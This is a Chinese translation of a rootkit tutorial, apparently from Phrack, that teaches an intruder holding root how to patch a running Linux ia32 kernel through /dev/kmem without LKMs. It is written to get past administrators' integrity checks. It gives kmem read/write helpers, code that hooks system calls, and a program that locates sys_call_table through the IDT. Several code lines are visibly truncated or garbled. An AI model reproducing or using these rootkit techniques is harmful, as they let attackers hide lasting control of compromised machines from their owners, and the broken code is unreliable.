摘要
1.简介
本文,作者将讨论一个不使用LKM或者System.map来修改Linux内核(主要是系统调用)的方法,并利用这个技术实现了个rootkit
中文翻译:nixe0n
1.简介
开始,我们要感谢Silvio Cesare,是他在很久以前就实现了内核修改技术,本文的大部分想法都是窃取他的成果。
本文,我们将讨论一个不使用LKM或者System.map来修改Linux内核(主要是系统调用)的方法,因此需要读者了解什么是LKM以及它们是如何加载的。如果对这些知识你好不太了解,请参考本文列举的参考资料。
首先,我们设想一下,如果一个可怜的家伙进入了一个系统获得了root权限,但是系统管理员非常精明,使用某些数据完整性检测工具使攻击者不能神不知鬼不觉地安装自己修改过的木马sshd,而且系统中根本就没有安装gcc等编译器、开发库和需要的头文件(本该如此:P),使攻击者无法编译自己的LKM rookit。这可怎么办?本文将一步步地告诉你如何解决这个问题,另外在本文的结尾提供了完整的Linux-ia32 rootkit,在这个rootkit中实现了本文叙述的技术。(读者可以到http://www.phrack.org获得其源代码--nixe0n)
本文讲述的技术只能用于用于ia32架构。
2./dev/kmem是我们的朋友
mem是一个字符设备文件,是计算机主存的一个影象。它可以用于测试甚至修改系统。
未曾开始先来一段语录:),来自Linux手册页(man mem)
有关修补运行中内核的技术细节请参考Silvio的大作run-time kernel patching,这里只是简要地介绍一个片段:
本文中,所有对内核空间的操作都是通过一个标准的Linux设备/dev/kmem。这个设备通常只有root用户才有rw权限,因此只有root才能实现这些操作.注意:只是修改/dev/kmem的权限,无法让普通用户获得对它的修改权限,因为即使虚拟文件系统允许普通用户访问/dev/kmem,内核还会对进程进行第二次检查(在device/char/mem.c中),检查进程是否具有CAP_SYS_RAWIO能力(capability)。
除/dev/kmem设备之外,/dev/mem也应该引起注意。这个设备表示在进行虚拟内存转换之前的物理内存影象。如果我们知道了页目录的位置,通过这个设备也可能达到修改系统内核的目的。在本文中,我们不讨论这种可能性。
在代码中,针对/dev/kmem文件的读、写以及地址定位等操作分别使用标准的系统调用read()、write()和lseek()实现,非常简单。下面是实现上述功能的函数:
/* 从kmem中读取数据 */
static inline int rkm(int fd, int offset, void *buf, int size)
{
if (lseek(fd, offset, 0) != offset) return 0;
if (read(fd, buf, size) != size) return 0;
return size;
}
/* 向kmem中写入数据 */
static inline int wkm(int fd, int offset, void *buf, int size)
{
if (lseek(fd, offset, 0) != offset) return 0;
if (write(fd, buf, size) != size) return 0;
return size;
}
/* 从kmem读出一个整数 */
static inline int rkml(int fd, int offset, ulong *buf)
{
return rkm(fd, offset, buf, sizeof(ulong));
}
/* 向kmem写入一个整数 */
static inline int wkml(int fd, int offset, ulong buf)
{
return wkm(fd, offset, &buf, sizeof(ulong));
}
3.替代系统调用
我们知道,从用户空间的角度看,系统调用在Linux中,是最底层的系统函数,因此系统调用是我们最感兴趣的东西。在Linux内核中,系统调用被集合到一个表中(sys_call_table),这是个一维数组,保存256个指针,使用系统调用号作为索引定位调用的入口点。仅此而已。
我们首先看一下下面这段伪代码:
/* as everywhere, "Hello world" is good for begginers ;-) */
/* 原来的系统调用 */
int (*old_write) (int, char *, int);
/* 新系统调用处理函数 */
new_write(int fd, char *buf, int count) {
if (fd == 1) { /* 标准输出设备 ? */
old_write(fd, "Hello world! ", 13);
return count;
} else {
return old_write(fd, buf, count);
}
}
old_write = (void *) sys_call_table[__NR_write]; /* 保存旧的 */
sys_call_table[__NR_write] = (ulong) new_write; /* 设置新的 */
这种类型的代码在各种LKM型rootkit、tty劫持程序中经常遇到,我们可以通过这种方式修改sys_call_table[],而代码通常是由/sbin/insmod(调用create_module() / init_module())导入内核的。
好了,到此为止,我们想这恐怕已经足够了。
3.1.没有LKM如何获得sys_call_table[]的位置
首先,要注意一点,如果在编译时不支持LKM,Linux内核将不会维护任何的符号信息。这是一个明智的选择,不支持LKM,还有什么使用这些信息的理由?为了调试?System.map可以用于调试。当然,我们需要这些符号信息:)。如果内核支持LKM,LKM需要的符号就会被导入它们的特定连接片段。但是,我们说过,不支持LKM,这怎么办?
据我们所知,要获取sys_call_table[]的位置,最聪明的方式是这样的:
#include
#include
#include
#include
struct {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed)) idtr;
struct {
unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
} __attribute__ ((packed)) idt;
int kmem;
void readkmem (void *m,unsigned off,int sz)
{
if (lseek(kmem,off,SEEK_SET)!=off) {
perror("kmem lseek"); exit(2);
}
if (read(kmem,m,sz)!=sz) {
perror("kmem read"); exit(2);
}
}
#define CALLOFF 100 /* 我们将读出int $0x80的头100个字节 */
main ()
{
unsigned sys_call_off;
unsigned sct;
char sc_asm[CALLOFF],*p;
/* 获得IDTR寄存器的值 */
asm ("sidt %0" : "=m" (idtr));
printf("idtr base at 0x%X
",(int)idtr.base);
/* 打开kmem */
kmem = open ("/dev/kmem",O_RDONLY);
if (kmem
/* 从IDT读出0x80向量 (syscall) */
readkmem (&idt,idtr.base+8*0x80,sizeof(idt));
sys_call_off = (idt.off2
printf("idt80: flags=%X sel=%X off=%X
",
(unsigned)idt.flags,(unsigned)idt.sel,sys_call_off);
/* 寻找sys_call_table的地址 */
readkmem (sc_asm,sys_call_off,CALLOFF);
p = (char*)memmem (sc_asm,CALLOFF,"xffx14x85",3);
sct = *(unsigned*)(p+3);
if (p) {
printf ("sys_call_table at 0x%x, call dispatch at 0x%x
",
sct, p);
}
close(kmem);
}
下面我们解释一下这段代码是如何工作的。sidt[asm ("sidt %0" : "=m" (idtr));]指令能够获得中断描述符表(interrupt descriptor table)的位置,从这条指令获得指针中我们可以获得int $0x80中断描述符所在的位置[readkmem (&idt,idtr.base+8*0x80,sizeof(idt));]。
然后我们使用[sys_call_off = (idt.off2
[sd@pikatchu linux]$ gdb -q /usr/src/linux/vmlinux
(no debugging symbols found)...(gdb) disass system_call
Dump of assembler code for function system_call:
0xc0106bc8 : push %eax
0xc0106bc9 : cld
0xc0106bca : push %es
0xc0106bcb : push %ds
0xc0106bcc : push %eax
0xc0106bcd : push %ebp
0xc0106bce : push %edi
0xc0106bcf : push %esi
0xc0106bd0 : push %edx
0xc0106bd1 : push %ecx
0xc0106bd2 : push %ebx
0xc0106bd3 : mov $0x18,%edx
0xc0106bd8 : mov %edx,%ds
0xc0106bda : mov %edx,%es
0xc0106bdc : mov $0xffffe000,%ebx
0xc0106be1 : and %esp,%ebx
0xc0106be3 : cmp $0x100,%eax
0xc0106be8 : jae 0xc0106c75
0xc0106bee : testb $0x2,0x18(%ebx)
0xc0106bf2 : jne 0xc0106c48